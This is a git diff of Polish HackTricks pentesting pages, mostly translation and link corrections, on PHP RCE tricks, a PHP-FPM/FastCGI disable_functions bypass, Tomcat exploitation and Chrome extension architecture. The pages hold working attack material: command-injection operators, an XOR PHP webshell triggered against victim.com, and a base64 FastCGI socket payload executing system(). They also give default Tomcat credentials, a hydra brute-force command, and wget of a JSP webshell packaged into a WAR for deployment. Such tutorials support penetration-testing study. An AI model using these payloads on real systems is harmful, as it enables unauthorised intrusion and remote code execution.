Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek**, a następnie **naprawić go z powrotem**. Możesz użyć **operacji logicznych** takich jak "**and" lub "%26%26" lub "|"**. Zauważ, że "or", "||" nie działa, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz ładunek nie zostanie wykonany. W ten sam sposób ";" nie działa, ponieważ nasz ładunek nie zostanie wykonany.
**Inną opcją** jest dodanie do ciągu wykonania polecenia: `'.highlight_file('.passwd').'`
@ -272,10 +272,10 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul
### RCE przez zmienne środowiskowe
Jeśli znajdziesz lukę, która pozwala ci **modyfikować zmienne środowiskowe w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**.
Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz wykorzystać to zachowanie, aby uzyskać **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać).
- **`PHPRC`** : Instrukcja dla PHP **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać).
- **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
1. Prześlij plik PHP zawierający nasz shellcode
2. Prześlij drugi plik, zawierający dyrektywę **`auto_prepend_file`**, instruującą preprocesor PHP do wykonania pliku, który przesłaliśmy w kroku 1
3. Ustaw zmienną `PHPRC` na plik, który przesłaliśmy w kroku 2.
@ -331,7 +331,7 @@ Możesz użyć **web**[ **www.unphp.net**](http://www.unphp.net) **do deobfuskac
## Wrappery PHP i protokoły
Wrappery PHP i protokoły mogą pozwolić ci na **obejście ochrony zapisu i odczytu** w systemie i jego kompromitację. Aby [**uzyskać więcej informacji, sprawdź tę stronę**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
Wrappery PHP i protokoły mogą pozwolić ci na **obejście ochrony zapisu i odczytu** w systemie i jego kompromitację. Aby [**uzyskać więcej informacji, sprawdź tę stronę**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug nieautoryzowane RCE
@ -351,7 +351,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE nadużywając nowego $\_GET\["a"]\($\_GET\["b"])
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby się dowiedzieć:
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -374,7 +374,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR łatwy kod powłoki
Zgodnie z [**tym opisem** ](https://mgp25.com/ctf/Web-challenge/) możliwe jest wygenerowanie łatwego kodu powłoki w ten sposób:
Zgodnie z [**tym opisem** ](https://mgp25.com/ctf/Web-challenge/)możliwe jest wygenerowanie łatwego kodu powłoki w ten sposób:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
@ -410,7 +410,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl podobny
### Perl like
```php
<?php
$_=[];

View File

@ -4,7 +4,7 @@
## PHP-FPM
**PHP-FPM** jest przedstawiane jako **lepsza alternatywa** dla standardowego PHP FastCGI, oferując funkcje, które są szczególnie **korzystne dla stron internetowych o dużym ruchu**. Działa poprzez proces główny, który nadzoruje zbiór procesów roboczych. W przypadku żądania skryptu PHP, to serwer WWW inicjuje **połączenie proxy FastCGI z usługą PHP-FPM**. Usługa ta ma zdolność do **odbierania żądań zarówno przez porty sieciowe na serwerze, jak i przez gniazda Unix**.
**PHP-FPM** jest przedstawiane jako **lepsza alternatywa** dla standardowego PHP FastCGI, oferując funkcje, które są szczególnie **korzystne dla stron internetowych o dużym ruchu**. Działa poprzez proces główny, który nadzoruje zbiór procesów roboczych. W przypadku żądania skryptu PHP, to serwer WWW inicjuje **połączenie proxy FastCGI z usługą PHP-FPM**. Usługa ta ma zdolność **odbierania żądań zarówno przez porty sieciowe na serwerze, jak i przez gniazda Unix**.
Pomimo pośredniczącej roli połączenia proxy, PHP-FPM musi działać na tej samej maszynie co serwer WWW. Połączenie, którego używa, chociaż oparte na proxy, różni się od konwencjonalnych połączeń proxy. Po odebraniu żądania, dostępny pracownik z PHP-FPM przetwarza je—wykonując skrypt PHP, a następnie przesyłając wyniki z powrotem do serwera WWW. Po zakończeniu przetwarzania żądania przez pracownika, staje się on ponownie dostępny dla nadchodzących żądań.
@ -14,9 +14,9 @@ Pomimo pośredniczącej roli połączenia proxy, PHP-FPM musi działać na tej s
Normalnie strony internetowe, pliki i wszystkie dokumenty, które są przesyłane z serwera WWW do przeglądarki, są przechowywane w określonym publicznym katalogu, takim jak home/user/public_html. **Gdy przeglądarka żąda określonej zawartości, serwer sprawdza ten katalog i wysyła wymagany plik do przeglądarki**.
Jeśli **CGI** jest zainstalowane na serwerze, dodawany jest również określony katalog cgi-bin, na przykład home/user/public_html/cgi-bin. Skrypty CGI są przechowywane w tym katalogu. **Każdy plik w katalogu jest traktowany jako program wykonywalny**. Podczas uzyskiwania dostępu do skryptu z katalogu, serwer wysyła żądanie do aplikacji odpowiedzialnej za ten skrypt, zamiast wysyłać zawartość pliku do przeglądarki. **Po zakończeniu przetwarzania danych wejściowych, aplikacja wysyła dane wyjściowe** do serwera WWW, który przesyła dane do klienta HTTP.
Jeśli **CGI** jest zainstalowane na serwerze, dodawany jest również określony katalog cgi-bin, na przykład home/user/public_html/cgi-bin. Skrypty CGI są przechowywane w tym katalogu. **Każdy plik w katalogu jest traktowany jako program wykonywalny**. Gdy uzyskuje się dostęp do skryptu z katalogu, serwer wysyła żądanie do aplikacji odpowiedzialnej za ten skrypt, zamiast wysyłać zawartość pliku do przeglądarki. **Po zakończeniu przetwarzania danych wejściowych, aplikacja wysyła dane wyjściowe** do serwera WWW, który przesyła dane do klienta HTTP.
Na przykład, gdy skrypt CGI [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) jest wywoływany, serwer uruchomi odpowiednią aplikację Perl przez CGI. Dane generowane z wykonania skryptu będą przesyłane przez aplikację do serwera WWW. Serwer z kolei przekaże dane do przeglądarki. Gdyby serwer nie miał CGI, przeglądarka wyświetliłaby **kod pliku .pl**. (wyjaśnienie z [tutaj](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html))
Na przykład, gdy uzyskuje się dostęp do skryptu CGI [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**), serwer uruchomi odpowiednią aplikację Perl przez CGI. Dane generowane z wykonania skryptu będą przesyłane przez aplikację do serwera WWW. Serwer z kolei przekaże dane do przeglądarki. Gdyby serwer nie miał CGI, przeglądarka wyświetliłaby kod pliku **.pl**. (wyjaśnienie z [tutaj](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html))
### FastCGI
@ -31,13 +31,13 @@ Możliwe jest uruchomienie kodu PHP, wykorzystując FastCGI i omijając ogranicz
### Via Gopherus
> [!CAUTION]
> Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nic nie wykonało. Proszę, jeśli masz więcej informacji na ten temat, skontaktuj się ze mną przez \[**grupę PEASS & HackTricks na telegramie tutaj**]\([**https://t.me/peass**](https://t.me/peass)), lub twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.**
> Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nic się nie wykonało. Proszę, jeśli masz więcej informacji na ten temat, skontaktuj się ze mną przez \[**grupę telegramową PEASS & HackTricks tutaj**]\([**https://t.me/peass**](https://t.me/peass)), lub twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.**
Używając [Gopherus](https://github.com/tarunkant/Gopherus), możesz wygenerować ładunek do wysłania do nasłuchującego FastCGI i wykonać dowolne polecenia:
![](<../../../../images/image (227).png>)
Następnie możesz pobrać ładunek urlencoded, zdekodować go i przekształcić na base64, \[**używając tego przepisu z cyberchefa na przykład**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). A następnie skopiuj/wklej base64 w tym kodzie php:
Następnie możesz skopiować ładunek urlencoded, zdekodować go i przekształcić na base64, \[**używając tego przepisu z cyberchefa na przykład**]\([http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). A następnie skopiować/wkleić base64 w tym kodzie php:
```php
<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
@ -400,19 +400,19 @@ $params = array(
echo $client->request($params, $code)."\n";
?>
```
Używając poprzedniej funkcji zobaczysz, że funkcja **`system`** jest **nadal wyłączona**, ale **`phpinfo()`** pokazuje **`disable_functions`** **pusty**:
Używając poprzedniej funkcji zobaczysz, że funkcja **`system`** jest **wciąż wyłączona**, ale **`phpinfo()`** pokazuje **`disable_functions`** **pusty**:
![](<../../../../images/image (188).png>)
![](<../../../../images/image (713).png>)
**Więc myślę, że możesz ustawić `disable_functions` tylko za pomocą plików konfiguracyjnych php `.ini`, a PHP_VALUE nie nadpisze tego ustawienia.**
**Więc myślę, że możesz ustawić `disable_functions` tylko za pomocą plików konfiguracyjnych php `.ini`, a PHP_VALUE nie nadpisze tej ustawienia.**
### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi)
To jest skrypt php do wykorzystania protokołu fastcgi w celu obejścia `open_basedir` i `disable_functions`.\
Pomoże ci to obejść surowe `disable_functions` do RCE, ładując złośliwe rozszerzenie.\
Możesz uzyskać do niego dostęp tutaj: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) lub nieco zmodyfikowaną i ulepszoną wersję tutaj: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)
Możesz uzyskać do niego dostęp tutaj: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) lub nieco zmodyfikowana i ulepszona wersja tutaj: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)
Zauważysz, że exploit jest bardzo podobny do poprzedniego kodu, ale zamiast próbować obejść `disable_functions` używając PHP_VALUE, próbuje **załadować zewnętrzny moduł PHP** do wykonania kodu, używając parametrów `extension_dir` i `extension` wewnątrz zmiennej `PHP_ADMIN_VALUE`.\
**UWAGA1**: Prawdopodobnie będziesz musiał **przecompilować** rozszerzenie z **tą samą wersją PHP, którą używa serwer** (możesz to sprawdzić w wynikach phpinfo):

View File

@ -29,9 +29,9 @@ Dla wersji Tomcat starszych niż 6, możliwe jest enumerowanie nazw użytkownik
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Domyślne dane logowania**
### **Domyślne Poświadczenia**
Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Katalog ten jest chroniony podstawową autoryzacją HTTP, a powszechne dane logowania to:
Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Katalog ten jest chroniony podstawową autoryzacją HTTP, a powszechne poświadczenia to:
- admin:admin
- tomcat:tomcat
@ -40,7 +40,7 @@ Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia pr
- tomcat:s3cr3t
- admin:tomcat
Te dane logowania można przetestować za pomocą:
Te poświadczenia można przetestować za pomocą:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
@ -52,15 +52,15 @@ Aby spróbować ataku brute force na katalog menedżera, można użyć:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Wraz z ustawieniem różnych parametrów w Metasploit, aby celować w konkretny host.
Along with setting various parameters in Metasploit to target a specific host.
## Powszechne Luki
## Common Vulnerabilities
### **Ujawnienie Hasła w Backtrace**
### **Password Backtrace Disclosure**
Dostęp do `/auth.jsp` może ujawnić hasło w backtrace w sprzyjających okolicznościach.
### **Podwójne Kodowanie URL**
### **Double URL Encoding**
Luka CVE-2007-1860 w `mod_jk` pozwala na podwójne kodowanie URL, umożliwiając nieautoryzowany dostęp do interfejsu zarządzania za pomocą specjalnie przygotowanego URL.
@ -68,7 +68,7 @@ Aby uzyskać dostęp do interfejsu zarządzania Tomcat, przejdź do: `pathTomcat
### /examples
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnienie informacji i ataki typu cross-site scripting (XSS). Te skrypty, wymienione w sposób kompleksowy, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnego wykorzystania. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnienie informacji i ataki typu cross-site scripting (XSS). Te skrypty, wymienione w sposób kompleksowy, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnej eksploatacji. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
@ -93,21 +93,21 @@ Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są p
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
### **Eksploatacja Przechodzenia Ścieżek**
### **Path Traversal Exploit**
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) możesz uzyskać dostęp do chronionych katalogów w Tomcat, używając ścieżki: `/..;/`
Na przykład, możesz być w stanie **uzyskać dostęp do strony menedżera Tomcat** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html`
**Inny sposób** na obejście chronionych ścieżek za pomocą tego triku to dostęp do `http://www.vulnerable.com/;param=value/manager/html`
**Inny sposób** na ominięcie chronionych ścieżek za pomocą tego triku to dostęp do `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Na koniec, jeśli masz dostęp do Menedżera Aplikacji Webowych Tomcat, możesz **przesłać i wdrożyć plik .war (wykonać kod)**.
### Ograniczenia
### Limitations
Będziesz mógł wdrożyć WAR tylko wtedy, gdy masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Te szczegóły można znaleźć w _tomcat-users.xml_, zazwyczaj zdefiniowane w `/usr/share/tomcat9/etc/tomcat-users.xml` (to różni się w zależności od wersji) (zobacz [POST ](./#post)section).
Będziesz mógł wdrożyć WAR tylko wtedy, gdy masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Te szczegóły można znaleźć w _tomcat-users.xml_, zazwyczaj zdefiniowane w `/usr/share/tomcat9/etc/tomcat-users.xml` (to różni się w zależności od wersji) (zobacz [POST ](#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -191,7 +191,7 @@ Możesz również zainstalować to (umożliwia przesyłanie, pobieranie i wykony
### Manual Method 2
Pobierz powłokę JSP, taką jak [ta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i utwórz plik WAR:
Pobierz powłokę JSP, taką jak [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i utwórz plik WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
@ -224,7 +224,7 @@ Built-in Tomcat manager roles:
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
```
## Inne narzędzia skanowania tomcat
## Inne narzędzia skanujące tomcat
- [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)

View File

@ -14,20 +14,20 @@ Układy rozszerzeń wyglądają najlepiej, gdy są wizualizowane i składają si
### **Skrypty Treści**
Każdy skrypt treści ma bezpośredni dostęp do DOM **jednej strony internetowej** i jest tym samym narażony na **potencjalnie złośliwe dane wejściowe**. Jednak skrypt treści nie zawiera żadnych uprawnień poza możliwością wysyłania wiadomości do rdzenia rozszerzenia.
Każdy skrypt treści ma bezpośredni dostęp do DOM **jednej strony internetowej** i jest narażony na **potencjalnie złośliwe dane wejściowe**. Jednak skrypt treści nie ma żadnych uprawnień poza możliwością wysyłania wiadomości do rdzenia rozszerzenia.
### **Rdzeń Rozszerzenia**
Rdzeń rozszerzenia zawiera większość uprawnień/dostępu rozszerzenia, ale rdzeń rozszerzenia może wchodzić w interakcje z treścią internetową tylko za pośrednictwem [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) i skryptów treści. Ponadto rdzeń rozszerzenia nie ma bezpośredniego dostępu do maszyny gospodarza.
### **Natychmiastowy Plik Binarny**
### **Natychmiastowy Binar**
Rozszerzenie pozwala na natywny plik binarny, który może **uzyskać dostęp do maszyny gospodarza z pełnymi uprawnieniami użytkownika.** Natywny plik binarny wchodzi w interakcje z rdzeniem rozszerzenia za pośrednictwem standardowego interfejsu programowania aplikacji Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), używanego przez Flash i inne wtyczki przeglądarki.
Rozszerzenie pozwala na natychmiastowy binar, który może **uzyskać dostęp do maszyny gospodarza z pełnymi uprawnieniami użytkownika.** Natychmiastowy binar wchodzi w interakcje z rdzeniem rozszerzenia za pośrednictwem standardowego interfejsu programowania aplikacji Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), używanego przez Flash i inne wtyczki przeglądarki.
### Granice
> [!CAUTION]
> Aby uzyskać pełne uprawnienia użytkownika, atakujący musi przekonać rozszerzenie do przekazania złośliwych danych wejściowych ze skryptu treści do rdzenia rozszerzenia i z rdzenia rozszerzenia do natywnego pliku binarnego.
> Aby uzyskać pełne uprawnienia użytkownika, atakujący musi przekonać rozszerzenie do przekazania złośliwych danych wejściowych ze skryptu treści do rdzenia rozszerzenia i z rdzenia rozszerzenia do natychmiastowego binaru.
Każdy komponent rozszerzenia jest oddzielony od siebie przez **silne granice ochronne**. Każdy komponent działa w **osobnym procesie systemu operacyjnego**. Skrypty treści i rdzenie rozszerzeń działają w **procesach piaskownicy**, niedostępnych dla większości usług systemu operacyjnego.
@ -35,7 +35,7 @@ Co więcej, skrypty treści są oddzielone od swoich powiązanych stron internet
## **`manifest.json`**
Rozszerzenie Chrome to po prostu folder ZIP z rozszerzeniem [.crx](https://www.lifewire.com/crx-file-2620391). Rdzeń rozszerzenia to plik **`manifest.json`** w katalogu głównym folderu, który określa układ, uprawnienia i inne opcje konfiguracyjne.
Rozszerzenie Chrome to po prostu folder ZIP z [.crx file extension](https://www.lifewire.com/crx-file-2620391). Rdzeń rozszerzenia to plik **`manifest.json`** w katalogu głównym folderu, który określa układ, uprawnienia i inne opcje konfiguracyjne.
Przykład:
```json
@ -61,7 +61,7 @@ Przykład:
```
### `content_scripts`
Skrypty zawartości są **ładowane** za każdym razem, gdy użytkownik **nawiguje do pasującej strony**, w naszym przypadku każda strona pasująca do wyrażenia **`https://example.com/*`** i niepasująca do wyrażenia regex **`*://*/*/business*`**. Wykonują się **jak własne skrypty strony** i mają dowolny dostęp do [Modelu Obiektowego Dokumentu (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
Skrypty zawartości są **ładowane** za każdym razem, gdy użytkownik **nawiguje do pasującej strony**, w naszym przypadku każda strona pasująca do wyrażenia **`https://example.com/*`** i niepasująca do wyrażenia regularnego **`*://*/*/business*`**. Wykonują się **jak własne skrypty strony** i mają dowolny dostęp do [Modelu Obiektów Dokumentu (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
```json
"content_scripts": [
{
@ -78,7 +78,7 @@ Skrypty zawartości są **ładowane** za każdym razem, gdy użytkownik **nawigu
```
Aby dodać lub wykluczyć więcej adresów URL, można również użyć **`include_globs`** i **`exclude_globs`**.
To jest przykład skryptu zawartości, który doda przycisk wyjaśnienia do strony, gdy [API storage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) zostanie użyte do pobrania wartości `message` z pamięci rozszerzenia.
To jest przykładowy skrypt zawartości, który doda przycisk wyjaśnienia do strony, gdy [API storage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) zostanie użyte do pobrania wartości `message` z pamięci rozszerzenia.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,7 +91,7 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
